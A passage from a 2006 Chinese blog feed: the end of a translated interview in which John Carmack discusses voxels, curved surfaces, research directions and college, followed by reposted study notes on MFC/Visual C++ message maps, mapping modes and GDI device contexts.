        现在我可以四处宣传一些想法，但是我深知，即使是现在，我也不能完全投入这项工作，因为尝试并带领整个行业沿着我所希望的方向向前发展实际上是一个全职的工作。我还没有狂妄到认为世界没有我就转不了。因此我想要说的是，我会尽量提供帮助，但是我不会全身心地投入这项工作。  </p>
		<p>            关于Trinity <br />            FS: 让我们换个话题，我读到的一篇文章提到在Quake 3成功推出之后，你准备花更多的时间研究引擎。  <br />            John: 我目前正在开展多项引擎研究工作。  <br />            FS: Trinity是其中之一吗？我想人们一直对“Trinity”有些迷惑不解。  <br />            John:  <br />            我一直不知道为什么每个人都对Trinity感到迷惑不解。在推出Quake之后，我开始研究新的渲染技术，人们都将其称为“下一个引擎”或者其他名称。Michael  <br />            Abrash建议我们采用Intel的做法：用一条附近的河流命名你的下一个项目。达拉斯有条名为Trinity的河，所以我们就下一个项目的名字取为“Trinity引擎”。当然，我们最终没有将其用于某个项目，因为Quake  <br />            II是Quake I的续作，而且我没有在Quake  <br />            II上使用[Trinity]，因而没有任何一个项目采用了这项技术。刚才我们谈到了我当时所做的工作。在开始开发Quake  <br />            III时，我针对不同的渲染技术编写了六个不同的研究引擎。  <br />            但是这仍然只是我所从事的研究工作。其中包括2个三维象素项目，1个空间扭曲项目，1个照明图项目，其中的一部分工作成果后来成为了Quake  <br />            III引擎。  <br />            有一件事一直是id和我的技术指导工作的真正实力之一。你可以看到一些公司紧紧抓住某个聪明的创意不放；有些你可能耳熟能详的游戏则是以一个创意为核心进行游戏开发。而我并不受限于某个特定的创意的束缚。正如我刚才所说的，在开始开发Quake  <br />            III时，我有六个不同的任务需要完成。我观察了所有这些任务，然后对自己说：“这些任务更加简单明了。”但是我们为Quake  <br />            III所做的工作实际上是很多方法中的一种比较正确的方法。我现在还有很多任务需要完成。但是没有人会在上面贴上魔法标签，所以我需要亲自评估所有这些不同的任务。  </p>
		<p>            三维象素和曲线  <br />            FS:  <br />            你刚才提到了三维象素，而且你正在开展这方面的研究。你是否认为3D硬件公司应当关注三维象素加速？你怎样看待已经推出的三维象素游戏，例如“三角洲部队”？  </p>
		<p>            John:  <br />            三维象素开发？我过去编写过一些三维象素引擎。实际上Shadowcaster——即Raven的最初名称——的早期版本中就曾经使用了三维象素地面。但是在我们重新编写该程序，以便更多地使用多边形时，我们将三维象素地面删除了。用三维象素技术显示对象可以带来一些实际的好处，因为它可以通过多种方式为您提供完整的纹理和轮廓细节。我在刚开始开发Quake  <br />            III时编写了这两个三维象素引擎，我当时认为我可以让它们完全通过软件运行，但是它只能提供相当低的分辨率。根据你所能达到的水平，以及硬件多边形的生成速度，在这种情况下并没有必要使用这项技术。  </p>
		<p>            我分析了内存存取模式；你可以用硬件做一个三维象素光迹追踪器，它所使用的硬件资源远远少于我们现在在进行各种三角形光栅处理时实际所用的资源。我认为它在很多情况下可以提供更加具有吸引力的视觉效果。但是它的确很难理解，因此我不太愿意向人们推荐这样的技术。我知道我做了一些介绍性的演示，但是PC行业能达到现在的硬件水平的根本原因是我们都可以借鉴SGI这个例子。我们拥有“这显然可以发挥作用，你看他们已经做到了”的说法的实际证据，因而问题就在于如何挑战并最终超过他们的成绩。  </p>
		<p>
				<br />            如果要推荐某种全新的技术，有人会说：“你应当让你的工厂生产三维象素芯片，你应当尝试这项技术，并向它投资几百万美元。”我不愿意这样做，因为我们并没有一个完整的证据来表明我们在开发引擎时有必要采用这项技术，也不能证明它可以带来足够的渲染改进。如果有人真的做了一个三维象素开发工具，你可以得到它的深度值，并将其与现有的三角形混合，这可能会是一个有趣的中间步骤，但是坦白的说，我并不认为它会占用如此多的硬件资源。由于现在每个人都在想方设法让自己的产品独树一帜，所以可能会有人用这种技术作为宣传的噱头，但是肯定仅此而已，因为他们还不知道具体怎样使用这项技术。  </p>
		<p>            我认为现在有些非常具有潜力的技术，但是我并不能肯定这就是未来的发展方向，因为尽管这些技术适用于环境的开发，而且你可以将它们用于一些出色的应用，但是还不清楚它们是否适用于角色的开发。你可能会说：“也许你必须用一个变形矩阵构建这个模型，然后当你对它进行Raycast渲染时，让光线在接触变形网格时转向。”但是我还没有编写过这种软件版本。只有在我可以提供一个显示这种技术的工作方式，而且它看起来比你直接可以实现的效果更好的情况下，我才会向别人推荐这项技术。我现在还没有时间来做这件事情，因为我有一些迫在眉睫的研究任务需要完成。  </p>
		<p>            但是我认为这项技术具有一些重要的潜力，有可能会成为一个有趣的发展方向。我现在真正想向所有人介绍的技术是更高阶的表面渲染，包括曲线、细分表面等。现在每个人都对这些技术非常感兴趣。在使用了两年时间之后，我发现它们并不像宣传得那样出色；它们存在不少问题。你直接从外面往往发现不了，对于一个开发人员来说，必须要深入内部才能看到这些技术的本质。  </p>
		<p>            如果你曾经读过相关的研究文献，了解贝赛尔曲线的工作方式，你可能会想，哦，这项技术非常出色，这正是我们在三角形单元之后的前进方向。你并没有意识到所有的“实际”问题，例如使用无效的、标准的，但是退化的边缘。你不能随意地划分一条曲线——除非将其提高到两侧的平面。你不能通过调整其他部分连接两个交叉点。所有这些细微的不足最终会造成很大的不便，尤其是在比较困难的情况下，你很难全面地了解发生问题的环节。三维象素技术也存在所有这些问题，这就是我为什么不愿意上台演讲，描绘未来的远景，因为很多技术从表面上看来很出色，但是当你深入到它们的内部时，往往会得出相反的结论。  </p>
		<p>            对竞争的看法  <br />            FS: 既然你打算重新开展研究工作，那么这是否会对id的下一款游戏的推出时间产生一定的影响？  <br />            John: 这取决于我们最终决定下一步采取什么措施。我目前正在开发的两种技术都适用于现有的Quake  <br />            3框架，因此这些新技术可能会被加入到下一个产品中。 <br />            目前我们得到了一个非常重要的机会，即我们可以使用这个牢固的、稳定的、可扩展的、灵活的引擎，从而将我们的开发重点放在游戏设计上，而不需要考虑引擎的开发。。。  <br />            从一位管理人员的角度来说，这无疑非常有利。但是，如果我们这样做，我现在正在开发的技术很可能不会在三年、四年甚至更长的时间内被用于新的产品。对于技术的发展来说，这是相当长的一段时间。因此我们需要一个真正强有力的激励来促使我们将一些新技术加入到下一个产品中。  </p>
		<p>            FS: 你是否通过玩其他游戏和观看竞争对手的产品来开展研究工作？  <br />            John: 我经常玩Unreal，将来我可能会喜欢玩Unreal  <br />            Tournament——尽管我现在还没有玩这款游戏。另外，我还会玩很多演示版的游戏。我不会进行一次真正彻底的调查，玩遍市场上的每款游戏。通常我只是在别人玩最热门的新游戏时旁观一下。而我不会花很多的时间玩其他的游戏。当然，我玩Quake3的时间超出了其他任何一款游戏。  <br />            FS: 公司中是否有专人负责这项工作？  <br />            John:  <br />            Christian和Graeme会玩大部分新游戏。过去是Brandon负责玩每个游戏。当他在id时，所有信息都会从他那里过滤一下。Tim也经常出于一些研究目的玩游戏；Tim在浏览其他游戏方面表现得相当尽责，而Graeme和  <br />            Christian 玩其他游戏的主要目的只是娱乐。  <br />            Carmack的研究  <br />            FS: 你能否简单地介绍一下你的研究内容？  <br />            John:我现在正在开发的一个渲染引擎技术是一个更好的照明模型。Quake 2  <br />            在计算中添加了发射性照明，它可以带来真实的光线反射效果，但是很多人实际上并不喜欢这种技术，因为它消除了一些阴影，从而让更多的对象陷入黑暗之中，尽管这比较符合实际情况——很多人都喜欢更为明显的阴影。在Quake  <br />            3中，我们重新只使用了一个直接照射灯，这在一定程度上是因为我不想在曲线上进行有限元放射计算。另外一项技术将让设计人员可以在任何地方渲染纹理和划分轮廓，从而让我们可以手动改进对象的显示效果。因此，主要有两个研究方向。实际上，它们可以被结合到一起，或者共同使用。它们都给我带来了一些有趣的技术难题。这些技术可能会在我们的下一款产品中得到展示。  </p>
		<p>            我的其他一些研究内容与游戏引擎无关。我正在利用Web摄像头进行一些视觉研究，例如一种头部跟踪装置。我可以利用这种装置，在游戏中加入一些有趣的内容。例如当你来回摇你的头时，你在游戏中扮演的角色也会做出同样的动作。或者像一种支持全息照相的窗口界面，你只需要移动你的头，就可以改变你的形象。我并不认为Web摄像头用于足够快的速度，在没有显著延时的情况下实现上述目标，但是这仍然是一个相当有趣的技术。你可以利用面部表情等，将它提高到新的水平。  </p>
		<p>            我认为这些技术的应用将会超过我的想象。所有短时间的不连续都是由于输入/输出设备的变化所引起的。当人们开始用鼠标进行各种操作时，事情发生了变化。我认为“计算机视觉”已经具备足够的实用性，足以对对象产生“鼠标式”的影响。毕竟，有些事情只能通过鼠标完成，而不能依靠键盘。这仍然处于自由猜想阶段。 <br />            现在出现了一些有趣的应用，因为我们现在运用了足够强大的CPU运算能力，可以进行一些相当复杂的计算。与很多图像技术不同，它还有很多尚未解决的研究问题。很多人正在研究这些难题，但是我们没有“SGI实例”来知道怎样将对象组合到一起和提高运算速度。  </p>
		<p>            我所感兴趣的最后一个研究方向是实现更加通用的3D技术，例如能够在3D世界中利用其他的渲染工具(例如HTML)开展工作，以及能够建立不与某个特定游戏相关联的小型网络空间。我认为我们可以构建一个基础设施框架。我们可以开发一款第一人称设计游戏，但是框架具有足够的通用性，因而我们可以用它完成其他任务。  </p>
		<p>            所有现有的软件显然都是针对第一人称射击游戏而设计的，但是人们以后可以利用这些技术执行其他一些有趣的任务。通用化总是要付出不菲的成本。你可以通过技术的专用化提高它的工作效率，但是在某个转折点你可能会发现通用化的成本并不是很高，而拥有一个更加通用的平台所带来的好处更加显著。我认为3D游戏目前正处于一个这样的转折点。 <br />            现在的我们与两年前大不相同。当时我们仍然需要考虑每一个很短的帧来提高一点点性能。由于硬件加速的发展——尤其是轮廓加速的实现，以及速度更快的CPU和容量更大的RAM的出现，这种情况已经不复存在。我认为我们的通用平台的速度可以达到专用版本的90%以上，同时可以利用这个平台处理大量其他的、有趣的任务。  </p>
		<p>            综合性问题  <br />            FS: 你希望建立一个永久性的Quake世界，让人们可以在其中进行对话和交流吧？   <br />             John:  <br />            是的，甚至不一定与Quake有关。我认为在利用介质通信方面有很多有趣的工作需要完成。你会看到人们互相交流，在一个服务器上会面等。这方面有很多潜在的发展方向。我不会将其称为虚拟现实，因为VR已经成了一个与死亡和毁灭联系在一起的名次。从来没有一家成功的VR公司，但是我认为其中很多公司失败的原因都是当时并没有相应的技术来实现他们的创意。在很多情况下，创造力和创新精神都会受到技术发展的限制。  </p>
		<p>            Doom就是一个典型的例子。我们用了很多的聪明、才智和创造力才开发出了Doom，但是所有这些聪明才智在五年之前并不能产生任何作用，因为当时的技术限制使得人们不可能开发出像Doom这样的游戏。有些时机是适合出现新的创新技术的。  </p>
		<p>            我认为在未来几年中，将会出现很多这样的创新技术，例如3D界面的通用化。每个人都用一种含糊的、空想的方法预言互联网和Web在未来的某个时候拥有一个3D界面。但是没有人提出真正实现这个目标所需要的具体细节。现在可能是实现这个目标的时机，但是也可能不是。  </p>
		<p>            我很关注这些研究方向，而且我将从事所有这些研究工作。最终我将把那些最有前途的技术研究到底。  <br />            FS: 你是否建议年轻人上学？  <br />            John:  <br />            如果你是为了正确的理由上学，那么学校将是一个很好的学习知识的场所。大学可能是一个信息极为丰富的环境。我现在回想我的大学生活，会觉得我浪费了很多宝贵的时光。我当时应当使用他们的图形工作站和其他设备学习知识。  </p>
		<p>            如果你只是为了获得一个学位，以便找到一份满意的工作，那么我并不支持。如果你上学是为了结识聪明人、拓展知识面和学习新知识，那么我完全支持。有些人在大学的收获比我上面列出的多得多。至于我，我一直都是那种只会看产品手册的学生。我喜欢这种学习方式，但是并不是所有人都喜欢这样。我并不认为大学是一个不好的地方，但是我并不支持这样的观点：“你必须上大学，这是唯一的成功之路”。原因很简单，它并不是唯一的成功之路。  </p>
		<p>            我认为，至少对于一些年轻的、发展迅速的行业(例如互联网和游戏设计)而言，才能和一份表明你的工作经验的简历比学位更加重要。我从来不问别人“你是否有一个学位？”我更关心的是“你做过什么？”如果要从坐在课堂里参加考试或者在家里编写游戏程序来证明你所拥有的天赋之间进行选择，我认为后者不失为一条合理的成长道路。  </p>
		<p>            FS: 最后一个问题——你现在玩的是什么游戏机？  <br />            John: 我在家经常玩的游戏机是Nintendo 64，但是除此以外我们还拥有Playstation、Saturn和其他一些游戏机。  <br />            Firingsquad 和 Gamers.com  <br />            非常感谢John和Anna抽出时间接受我们的访问。我们的这篇文章得到了广泛的好评，我们希望在不久的将来访问您所喜爱的其他程序员。请到我们的留言板上发表您对本访问的看法。 <br />            [责编：郭胜民]  <br /> <br /></p>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/9442.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-04-21 09:39 <a href="http://www.cnitblog.com/weitom1982/archive/2006/04/21/9442.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>《c++学习笔记》转载,其余的请查看http://blog.csdn.net/hbyufan/</title><link>http://www.cnitblog.com/weitom1982/archive/2006/04/03/8748.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 03 Apr 2006 09:41:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/04/03/8748.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8748.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/04/03/8748.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8748.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8748.html</trackback:ping><description><![CDATA[***************************************/<br />第一章：Microsoft Windows 和 Visual C++
<p>1，Windows应用程序中一定要有WinMain函数，用来完成某些特殊的任务，其中最主要的是创建应用次序的主窗口。</p><p>2，DOS下，所有次序的目标模块在创建过程中都被静态连接起来。而Windows允许动态连接,即一些特定结构的库（DLL）可以在运行过程中被装入和连接,并且被多个应用程序共享。</p><p>3，项目是一些相互关联的源文件的集合，这些源文件经过编译、连接，然后被组合在一起形成可执行的Wwindows应用程序或DLL。</p><p>4，几个重要Developer Studio创建的中间文件：<br />CLW （支持ClassWizard ） DSP （项目文件）<br />DSW （工作空间文件）  NCB （支持ClassView)<br />OPT （保持工作空间的配置） PLG （建立日志文件）</p><p>5，AppWizard是一个代码生成器，它会按照用户通过对话框指定的特性、类名、及源代码文件名来产生Windows应用程序工作架构。AppWizard所产生的代码只是一些最基本的代码，它完成的功能完全由应用程序的基类所决定。</p><p></p><p>/**************************************/<br />第二章：Microsoft基本类库应用程序框架</p><p><br />1,按照惯例，MFC库类名用大写“C”打头。</p><p>2，类CMyApp的对象theApp就代表一个应用程序。当运行该应用程序的时候，WINDOWS自动调用程序框架内部的WinMain函数，WinMain函数会去查找该应用程序的全局构造对象(theApp)，该对象是有CWinApp类派生类的对象。C++中，全局对象在主程序被运行之前就已经构造好了。</p><p>3，当WinMain发现该应用程序对象(theApp)时，会自动调用虚拟成员函数CWinApp::InitInstance()，该函数会进一步调用相应的函数来完成主窗口的构造和显示工作。由于基类CWinApp中不知道我们实际需要的什么样的窗口，所以我们必须在派生出的应用程序类CMyApp中重载InitInstance()函数（CMyApp::InitInstance()），由多态性，当调用CWinApp::InitInstance()时候，会自动转向MyApp::InitInstance().</p><p>4，WinMain函数调用完InitInstance()函数后，就调用CWinApp::Run函数，CWinApp::Run函数被隐藏在基类中负责传递应用程序的消息给相应的窗口，从而维护应用程序的运转。</p><p>5，关闭应用程序（对单一框架程序来说），首先CMyFrame 对象被删除，然后退出Run,进而退出WinMain,最后删除CMyApp对象（theApp）。</p><p>6,一些Windows类库在基类为鼠标事件消息以及其他一些标准消息定义一些虚函数，如果需要，派生类会对这些函数进行重载。<br />MFC库应用程序框架没有采用虚函数来处理Windows消息，而是通过一些宏来将特定的消息映射到派生类中相应的成员函数上。（原因：P21。C++类对程序中用到的每一个派生类都要求有一张虚函数分发表VTABLE,在BTABLE中每个虚函数都需要有一个4字节的入口项，而不管该函数会不会在派生类中被重载。）<br />MFC消息控件函数要求提供函数原型，函数体，以及在消息映射中的入口。</p><p>7，文档-视图结构将数据从用户对数据的观察中分离出来，这样就允许对同一数据可以有多个视图。<br />MFC库应用程序中，文档和视图是由C++类的实例来描述的。<br />文档基类代码通常和FILE OPEN，FILE SAVE菜单项关联，而派生文档类则一般用来完成对文档对象数据的实际读写工作。<br />视图基类通常表示一个包含于框架窗口中的窗口，而派生视图类则常用来和稳当类相联系，负责应用程序的显示和打印机I/O。<br />派生视图类及其基类共同处理WINDOWS的消息，而MFC库则协调文档，视图，框架窗口，以及应用程序之间的相互作用关系，这种协调多用虚函数来实现。<br />文档对象既可以与一次可全部读入内存的磁盘文件相关联，也可以同数据库相关联。<br /><span id="ArticleContent1_ArticleContent1_lblContent"> </span></p><p>/********************************************/<br />第三章：从“Hello,world!”着手学习AppWizard</p><p><br />1,视图：从用户角度看，视图是一个普通的窗口；从程序员角度看，试图是一个从MFC库中CView类所派生的类的对象。视图对象的行为完全由类的成员函数和数据成员决定，其中包括派生类的特定成员和基类的继承而来的成员。</p><p>2，CEx03aView类最重要的基类是CWnd和CView。CWnd提供CEx03aView的窗口属性，而CView提供它和应用程序框架其它部分之间的联系，特别是和文档及框架窗口之间的联系。</p><p>3，视图类中OnDraw成员函数：OnDraw成员函数被设计成一个虚成员函数，每次当视窗需要被重绘时候，应用程序都要调用OnDraw函数。<br />当用户改变了窗口尺寸，或当前窗口恢复了先前被遮盖的部分，或当前应用程序改变了窗口的数据的时候，窗口都需要被重绘。<br />当用户改变了窗口尺寸，或窗口需要恢复被遮盖的部分，则应用程序自动去调用OnDraw函数。<br />但注意，如果程序中某个函数修改了窗口数据，则它必须通过调用视图所继承的Invalidate(InbalidateRect)成员函数来通知Windows，调用Invalidate后会触发对OnDraw函数的调用。</p><p>4，WINDOW中不允许直接访问显示硬件，必须通过和窗口相关联的“设备环境”跟显示硬件通讯。MFC中设备环境由CDC类对象来表示。</p><p>5，利用Win32 Debug模式 和 Win32 Release模式开发应用程序。<br />（默认情况不出现BUILD工具栏，可从TOOLS菜单选择Customize项，设置显示Build工具栏，VC6中也可在工具栏上直接点击右键选择Build工具栏）</p><p>  Win32 Release模式 Win32 Debug模式   <br />源码调试 不能   编译器连接器都允许<br />MFC诊断宏 不能（定义了NDEBUG） 可以（定义了_DEBUG）<br />库连接  MFC Release库  MFC Debug库<br />编译优化 速度优化（学习版不能） 没有优化（快速编译）</p><p>我们应在Win32 Debug模式下开发应用程序，然后在发布或交付前用Win32 Release模式重建应用程序。in32 Release模式下建立的EXE文件又小又快。</p><p>6，诊断宏TRACE宏对监测程序状态特别有用。这些宏要求在允许追踪的情况下才有效，允许追踪是默认设置。<br />（问题：TRACE宏的应用事例与运行原理。宏TRACE的输出在在哪显示呢？在output输出框下选择Debug项，调试运行程序即可看到TRACE宏输出。）</p><p>7，预编译头文件代表了编译器在源代码特定行上进行‘快照’。在MFC库程序中，快照常紧接在#include "stdafx.h"后进行。<br />文件StdAfx.h包含了MFC库头文件的#include语句。该文件的内容取决于运行AppWizard时候所做的选择。<br />文件StdAfx.cpp只包含#include "stdafx.h"语句。StdAfx.cpp文件用来在相应项目的目录下产生预编译头文件（PCH文件）。编译开关/Yc只用于StdAfx.cpp文件，导致产生预编译头文件（PCH），而其它源文件的/Yu编译开关使可以使用一个存在的PCH文件。开关/Fp用来指定专门的PCH文件名，默认情况下为相应目标输出文件目录下与项目同名扩展名为PCH的文件。<br />（ＶＣ６下具体设置参见：［Project Settings属性框］ ［c/c++］属性页［Project　Options］、[Source File Options]项）<br />（注意：在ＶＣ６　[Project Settings属性框]中查看StdAfx.cpp文件[Source File Options]项时候，可以看到［Project Settings, and /Yc"stdafx.h"］，这里说明一下，StdAfx.cpp文件的［ /Yc"stdafx.h"　］的设置覆盖了[Project Options]设置中的[/Yu"stdafx.h"]）<br /><span id="ArticleContent1_ArticleContent1_lblContent"> </span></p><p>/******************************************/<br />第四章：基本事件处理、映射模式和滚动视图</p><p><br />1，消息映射：如在视窗中按下鼠标做键，会自动发送WM_LBUTTONDOWN消息，如果要对这消息有所反应的话，需</p><p>//{{AFX_MSG(CEx04aView)<br /> afx_msg void OnLButtonDown(UINT nFlags, CPoint point);//头文件声明消息响应函数原型。<br />//}}AFX_MSG<br />DECLARE_MESSAGE_MAP()//头文件</p><p>BEGIN_MESSAGE_MAP(CDrawView, CView)//代码文件<br /> //{{AFX_MSG_MAP(CEx04aView)<br /> ON_WM_LBUTTONDOWN()//该消息映射宏将OnLButtonDown函数和应用程序框架联系在一起<br /> //}}AFX_MSG_MAP<br />END_MESSAGE_MAP()<br />void CDrawView::OnLButtonDown(UINT nFlags, CPoint point) //代码文件<br />{<br /> //event processing code here<br />}<br />说明：<br />为了方便ClassWizard，AppWizard生成了一些注释行。它把消息映射函数原型放在两个AFX_MSG“刮弧对”之间，在AFX_MSG_MAP“刮弧对”之间添加消息映射入口，并在代码文件中给出完整的OnLButtonDown成员函数框架。</p><p>2，视图中的OnDraw（）是根据视图当前状态来绘制图象的，用户的操作可以改变这中状态。在完整的MFC库应用程序中，文档的对象掌握在应用程序（视图）的状态。</p><p>3，如果用全程变量来保存视图状态，这将在多视图情况下会遇到麻烦；（待体会）</p><p>4，CWnd::InvalidateRect函数能够触发WM_PAINT消息，该消息被窗口类如CView映射后，引起对OnDraw函数调用，从而重绘无效矩形区域。<br />优化窗口的绘制过程：<br />1）设置的无效区域越小，重画的速度就越快；<br />2）执行无效区域外的绘制纯属于浪费时间，OnDraw函数可以调用CDC的成员函数GetClipBox得到无效区域大小。<br />注意：<br />OnDraw函数不仅仅响应InValidate*之类的调用，它也会在窗口改变大小和窗口显露时被调用。</p><p>5，本章重要介绍函数<br />PtInRect(..);//测试一个点是否落在某个矩形内。<br />PtInRegion(..);//判断一个点是否落在椭圆（CRgn对象）内//A region is an elliptical or polygonal area within a window. <br />GetClientRect(..);//获得客户矩形坐标并保持在CRect对象中<br />SelectStockObject(..);//选择the predefined stock pens, brushes, or fonts到DC中，函数返回先前的CGdiObject 对象指针。</p><p>6，在构造函数中对类数据成员初始化。<br />CEx04aView::CEx04aView() : m_rectEllipse(0, 0, 200, 200)//注意这种初试化方式，m_rectEllipse是CEx04aView类数据成员CRect类对象<br />{<br /> m_nColor = GRAY_BRUSH;<br />}</p><p>7，[致WIN32程序员]：<br /> 标准的基于WINDOWS应用程序会首先登记一个窗口类（不同于C++类[补：实际是个_WNDCLASS结构体]），同时在处理过程中，还需要对每个类指定窗口过程（WINDOWS PROCEDURE）。每次应用程序调用CreateWindow建立一个窗口时候，都要指定一个窗口类做为参数，这样就把新建立的窗口和窗口过程函数连接起来了。每次Windows给窗口发送消息时候，这个函数就会被调用（补：消息循环中DispatchMessage(&amp;msg)分派消息到窗口的回调函数处理,OS调用窗口回调函数进行处理），以检查用参数传送进来的消息码，并执行适当的代码来处理该消息。<br /> MFC库应用程序框架有一个适用于大多数窗口类型的简单窗口类和窗口过程函数。该窗口过程函数会根据参数传进来的窗口句柄，在MFC的句柄映射表（handle map）中查找，从而得到对应的C++窗口对象指针。然后，该窗口过程函数用MFC运行时类（runtime class）系统来决定窗口对象的C++类。下一步，它从由消息分发映射函数生成的静态表中找到消息处理函数，最后用正确的窗口对象调用消息处理函数。</p><p>8，映射模式：<br />1）MM_TEXT映射模式：坐标被映射到象素，X值向右递增，Y值向下递增。可用它来表示[设备坐标]。<br />CDC::SetMapMode(..)//设置映射模式<br />CDC::GetMapMode(..)<br />CDC::SetViewportOrg(..)//设置视口原点<br />CDC::GetViewportOrg(..)<br />CDC::SetWindowOrg (..)//设置屏幕原点<br />CDC::GetWindowOrg(..)<br />2）固定比例映射模式（MM_HIENGLISH，MM_HIMETRIC ，MM_LOMETRIC ，MM_LOENGLISH，MM_TWIPS ）<br />固定比例映射模式均X值向右递增，Y值向下递增，它们之间唯一差别是 实际的比例因子。如下：<br />MM_HIENGLISH   Each logical unit is converted to 0.001 inch. <br />MM_HIMETRIC   Each logical unit is converted to 0.01 millimeter. <br />MM_LOENGLISH   Each logical unit is converted to 0.01 inch. <br />MM_LOMETRIC   Each logical unit is converted to 0.1 millimeter. <br />MM_TWIPS   Each logical unit is converted to 1/20 of a point（磅）. (Because a point is 1/72 inch, a twip is 1/1440 inch.) <br />//MM_TWIPS常常用于打印机。         <br />3）可变比例映射模式：（MM_ISOTROPIC ，MM_ANISOTROPIC ）<br />这两种模式用许我们改变它们的比例因子和坐标原点。<br />应用这两中模式，如用户改变窗口的尺寸，绘制的图形大小也会发生响应的变化<br />具体如下：<br />The MM_HIENGLISH, MM_HIMETRIC, MM_LOENGLISH, MM_LOMETRIC, and MM_TWIPS modes are useful for applications that must draw in physically meaningful units (such as inches or millimeters). The MM_ISOTROPIC mode ensures a 1:1 aspect ratio, which is useful when it is important to preserve the exact shape of an image. The MM_ANISOTROPIC mode allows the x- and y-coordinates to be adjusted independently<br />常一起使用的函数：<br />SetWindowExt(..)//Sets the x- and y-extents of the window associated with the device context.<br />SetViewportExt(..)//Sets the x- and y-extents of the viewport of the device context.  </p><p>注意：<br />When the following mapping modes are set, calls to SetWindowExt and SetViewportExt functions are ignored: <br /> MM_HIENGLISH，MM_HIMETRIC，MM_LOENGLISH，MM_LOMETRIC，MM_TEXT，MM_TWIPS <br />When MM_ISOTROPIC mode is set, an application must call the SetWindowExt member function before calling SetViewportExt.</p><p>9，坐标变换：（具体参见P54）<br />许多MFC库函数只能在设备坐标下工作（尤其CRect类成员函数）。可以认为CDC的所有成员函数都一逻辑坐标作参数。可以认为CWnd的成员函数都以设备坐标做参数。（所有在实际窗口上点击获得的坐标都是逻辑坐标）。在设置了设备环境的映射模式及相应的参数以后，CDC的LPtoDP和DPtoLP函数可以用来在逻辑坐标系和设备做表系之间进行转换。<br />在CView的虚函数OnPrepareDC中设置映射模式要比在OnDraw函数中要好。<br />//*注意：<br />CView::OnPrepareDC <br />virtual void OnPrepareDC( CDC* pDC, CPrintInfo* pInfo = NULL );<br />应用程序将在调用OnDraw之前调用OnPrepareDC函数。<br />（OnPrepareDC在为屏幕显示而调用OnDraw函数之前，或在为打印或打印预览每一页而调用OnPrint成员函数之前。）</p><p>10，CScrollView支持滚动条的滚动，但不支持键盘的滚动。通过使用CWnd的ScrollWindow和SetViewportOrg函数，CScrollView类允许将视口原点移到窗口中的任何一个位置，甚至包括窗口区域的上部或窗口的原点的左边。</p><p>键盘输入是分两步处理的。OS向窗口发送类如WM_KEYDOWN和WM_KEYUP消息时用的是虚拟键盘码，在消息到达窗口之前，被翻译成WM_CHAR消息，该消息带着正常的键码。</p><p>利用对WM_KEYDOWN消息进行响应，对按键分别调用OnVScroll就可以使应用程序支持键盘的滚动。<br />CWnd::OnVScroll  <br />afx_msg void OnVScroll( UINT nSBCode, UINT nPos, CScrollBar* pScrollBar );<br />////<br />nSBCode：<br />SB_BOTTOM   Scroll to bottom.<br />SB_ENDSCROLL   End scroll.<br />SB_LINEDOWN   Scroll one line down.<br />SB_LINEUP   Scroll one line up.<br />SB_PAGEDOWN   Scroll one page down.<br />SB_PAGEUP   Scroll one page up.<br />SB_THUMBPOSITION   Scroll to the absolute position. The current position is provided in nPos.<br />SB_THUMBTRACK   Drag scroll box to specified position. The current position is provided in nPos.<br />SB_TOP   Scroll to top. <br />////<br />The framework calls this member function（OnVScroll） when the user clicks the window’s vertical scroll bar. </p><p><br />11，CView::OnInitialUpdate <br />virtual void OnInitialUpdate( );<br />说明：<br />OnInitialUpdate是视图窗口完全建立后框架调用的第一个函数。框架在第一次调用OnDraw前会调用OnInitialUpdate。<br />具体参见下：<br />Called by the framework after the view is first attached to the document, but before the view is initially displayed. The default implementation of this function calls the OnUpdate member function with no hint information . </p><p>12，MFC对140种Windows消息直接直接提供了相应的消息控制函数，当然，我们还可以定义自己的消息和相应的消息控制函数。<br />五种特殊Windows消息：WM_CREATE,WM_CLOSE,WM_QUERYENDSESSION,WM_DESTROY,WM_NCDESTROY.（具体参见 p62-63页。这两页强烈建议看看，这里简要笔记三个最常用最重要的）<br />1）WM_CREATE消息：<br />The WM_CREATE message is sent when an application requests that a window be created by calling the CreateWindowEx or CreateWindow function. The window procedure of the new window receives this message after the window is created, but before the window becomes visible. The message is sent before the CreateWindowEx or CreateWindow function returns. <br />2）WM_CLOSE消息：<br />当关闭窗口或父窗口被关闭时，Windows都会发送WM_CLOSE消息。可以重新定义该消息响应函数OnClose来完全控制关闭过程。<br />3）WM_DESTROY消息：<br />Windows在发送WM_CLOSE消息之后，紧接着就会发送WM_DESTROY消息（响应这个消息的时候，窗口已经消失但还没有销毁）。<br />（可以响应这个消息来做一些销毁当前窗口后的一些事情，例如再弹出其它对话框发送其他的消息）<br /><span id="ArticleContent1_ArticleContent1_lblContent"> </span></p><p>/**********************************************/<br />第五章：图形设备接口（GDI）、颜色及字体</p><p></p><p>1，任何时候当程序需要直接在屏幕或打印机上绘图的时候，都需要调用GDI函数，GDI函数包含了一些用于绘制图形、位图以及文本的函数。</p><p>2，Windows的设备环境是GDI的关键元素，它代表了物理设备。每一个C++设备环境对象都有与之对应的Windows设备环境，并且通过一个32位类型的HDC句柄来标识。</p><p>3，MFC库设备环境类基类CDC包含了绘图所需要的所有成员函数，并且几乎所有派生类只有构造函数和析构函数不同（CMetaFileDC类除外）。<br />对于显示器来说，常用的派生类有CClientDC 和 CWindowDC,而对其它设备（如打印机或内存缓冲区），则可以构造一个基类CDC的对象。<br />对于显示器和打印机设备环境对象来说，应用程序框架会直接将句柄附在对象上；而对其它设备环境（如内存设备环境），为了将对象与句柄相联系，在构造完对象之后，还必须调用一个成员函数（进行初试化）。</p><p>4，CClientDC类 和 CWindowDC类<br />CClientDC( CWnd* pWnd );<br />//Constructs a CClientDC object that accesses the client area of the CWnd pointed to by pWnd. The constructor calls the Windows function GetDC. </p><p>CWindowDC( CWnd* pWnd );<br />//Constructs a CWindowDC object that accesses the entire screen area (both client and nonclient) of the CWnd object 